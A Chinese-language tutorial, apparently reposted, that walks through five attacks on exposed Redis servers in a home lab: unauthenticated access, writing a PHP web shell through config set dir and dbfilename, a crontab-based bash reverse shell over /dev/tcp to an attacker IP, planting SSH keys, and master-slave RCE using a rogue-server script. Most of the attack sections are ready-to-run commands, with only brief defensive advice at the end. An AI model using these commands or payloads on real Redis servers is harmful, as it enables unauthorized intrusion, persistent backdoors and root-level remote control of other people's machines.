redis 五種常見攻擊方法


如果需要大佬寫好的腳本,可以直接去github上面搜

參考文章:https://www.cnblogs.com/wineme/articles/11731612.html  

                 https://www.cnblogs.com/linuxsec/articles/11221756.html                               <<<<——————這篇文章是利用Gopher協議對redis進行攻擊,原理都一樣,只不過用的不是HTTP協議,沒什么太大區別

參考的資料還有群里大佬給的筆記文件

首先先得再系統上安裝redis,參考文章可以看這篇,寫的很詳細  https://www.cnblogs.com/hunanzp/p/12304622.html

所需要了解的知識:redis安裝,shell反彈原理及命令,簡單的redis語法,redis主從模式了解,crontab語法

redis一定要配置好,要不沒法遠程登陸寫shell

 第一種攻擊方法:未授權訪問

如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。

可以看到,成功連接上遠程的redis服務器

第二種攻擊方法:寫入文件

條件:目標服務器開着web服務,且redis在web目錄下有寫入權利。master下執行。

原因:通過將redis數據庫路徑修改為php環境路徑,將數據庫名修改為php文件

 這個和和mysql日志提權一個道理

master:config set dir /var/www/html/                           //數據保存路徑

master:config set dbfilename shell.php                                  //重命名

master:set payload "<?php phpinfo();?>"                       //新增數據     當然,也可以這么寫   set payload "<?php eval ($_GET["cmd"]);?>"

master:save                                                                          //保存

 

 

 

 

第三種攻擊方法:利用計划任務來反彈一個shell權限。

這個原理就是redis存在遠程控制漏洞,如果沒有設置相關的策略比如說指定Ip登錄什么的,(一般redis遠程登錄的密碼是空的,即使有也是默認的),用戶就可以通過遠程登錄redis。首先創建一個每隔一分鍾就執行一次的反彈shell的crontab任務,再把文件變更到 /var/spool/cron/(不同版本Linux系統這個文件位置不一樣)目錄下,為啥要變更到這個目錄下呢?因為這個目錄下的文件名為root的文件是被系統默認定時執行的,(你只要按固定的語法格式寫進去就好,系統會自動執行的),也就是root 用戶 crontab默認存放執行文件的地方,最后再把文件名改成root,系統就會默認執行root文件中的定時任務(也就是反彈shell)

首先在攻擊機設立一個nc反彈接收端。

之后執行命令,將值導出,改變導出目錄以及文件名

具體代碼如下:

這里咱們用本地的kali和redis服務器進行測試,環境為內網環境

root@kali:~# redis-cli -h 192.168.63.130 // 開始連接靶機

192.168.63.130:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1"                                      //創建一個任務計划   這個* * * * * 的意思就是,每隔一分鍾就會默認執行一下后面的語句
OK
192.168.63.130:6379> config set dir /var/spool/cron/                                            // 改變導出目錄
OK
192.168.63.130:6379> config set dbfilename root                                         // 改變文件名為root
OK
192.168.63.130:6379> save                                                       //保存

OK

 

crontab -l 查看root用戶下的crontab任務,可以看到已經成功寫入

 

 

之后linux攻擊機就會接收到反彈的shell了,必須是root權限,普通用戶沒有權限更改用戶名。

這里有個知識點——/var/spool/cron/。在linux系統中crontab是定時任務的守護進程,關於crontab命令也在  分類中的Linux類知識  里面有解釋說明。我們可以使用它來定時備份文件、定時執行命令等。在kali和ubantu中,其文件位置為/var/spool/cron/crontabs/root,在centos系列中位置為/var/spool/cron/root,通常情況下沒有root文件,需要自己創建

一定要注意再不同系統中,root的位置是不一樣的!!!!

這里redis也可能會再最后一步命令執行也就是輸入 save 的時候報錯ERR,這是因為沒有改root文件名權限的原因,詳細過程再 分類中的Linux類知識  有解釋說明

如果想真實復現漏洞的話,weblogic曾經爆出過redis 的SSRF漏洞,可以通過抓改包寫入shell,控制服務器

 

第四種攻擊方法: 寫ssh-keygen公鑰,直接登錄

 

條件:redis服務使用root登錄、靶機開機ssh密鑰登錄

(如果不了解或者忘記ssh登錄的話,分類里面有對ssh的學習筆記)

 

$ ssh-keygen -t rsa

 

輸入路徑+文件名(回車默認)

 

輸入明文密碼

 

 

 

 查看生成秘鑰

 

 

通過redis將其寫入靶機的.ssh目錄下           

 

 

 

ssh密鑰遠程連接

 

 

 第五種攻擊方法:RCE

這里是利用redis的主從模式來進行攻擊,剽自大佬博客的分享。

 slave翻譯過來就是  奴隸  的意思

master 翻譯過來就是主人的意思

這里簡單復習一下redis的主從模式

 

 redis主機成為master,redis從機成為slave,主機可讀可寫,從機只能讀,主機更新數據,從機會從主機獲取更新的數據。

條件:能夠訪問遠程redis端口,能夠設置主從模式。

這種利攻擊方式由LCBC戰隊隊員Pavel Toporkov在zeronights 2018上介紹的redis 4.x RCE攻擊。和前面幾種攻擊方式相比,這種攻擊方式更加精細巧妙,成功率也更高。

腳本地址:https://github.com/n0b0dyCN/redis-rogue-server

使用方式:python3 redis-rogue-server.py --rhost rhost --lhost lhost     

 

 

這里來簡單分析一下大佬的思路。這種利用方式首先要創建一個惡意redis服務器來作為master,該master服務器要能夠回應連接他的slave 服務的響應。

[>] PING

[<] +PONG

[>] REPLCONF

[<] +OK

[>] PSYNC/SYNC

[<] +FULLRESYNC

如腳本所示,其中FULLRESYNC表示完整重同步,這一步是方便將master上的exp同步到slave上。

 

有了惡意服務器之后,先遠程連接目標服務器,通過slaveof將其設置為惡意服務器的slaver。然后將dbfilename設置為exp.so。

執行slaveof命令后,主從之間要進行握手,在slaver發送PSYNC之后master回應FULLRESYNC及exp內容。大概如下:

[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'

master發送完exp內容后,由於主從之間采用FULLRESYNC模式,所以exp內容也會存儲在slaver的數據庫文件,即exp.so中。

之后在控制slaver加載模塊執行即可。當然,加載完模塊之后腳本也會解除主從模式、還原數據庫文件。

這里腳本直接提供了shell環境。

 

在目標redis中查看模塊可以看到加載了模塊system。

 

當把這個模塊卸載后,shell也會隨之斷開。

 

 

 

1.  最后總結

以上提到的這些漏洞,都是基於未授權訪問。

寫入shell、反彈shell、寫入公鑰幾種漏洞都是利用redis數據存儲這一點,在擁有高級權限和在某些環境配合下,將payload直接寫入某個路徑,從而達到我們的目的。但實際上redis用戶的權限都不會太高,不太可能有人會直接以root權限運行redis或給redis以root權限。

最后一種方式利用了主從模式的完整全同步及模塊加載,配合搭建的惡意服務器可以將exp同步到目標服務器上getshell。

和前面幾種利用方式相比最后一種不需要太高的權限,但也是基於未授權訪問這一點,所以在防護中首先要做到訪問者ip限制,設置強密碼,更改端口等。

 

 

 

最后感謝大佬們的分享!!!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM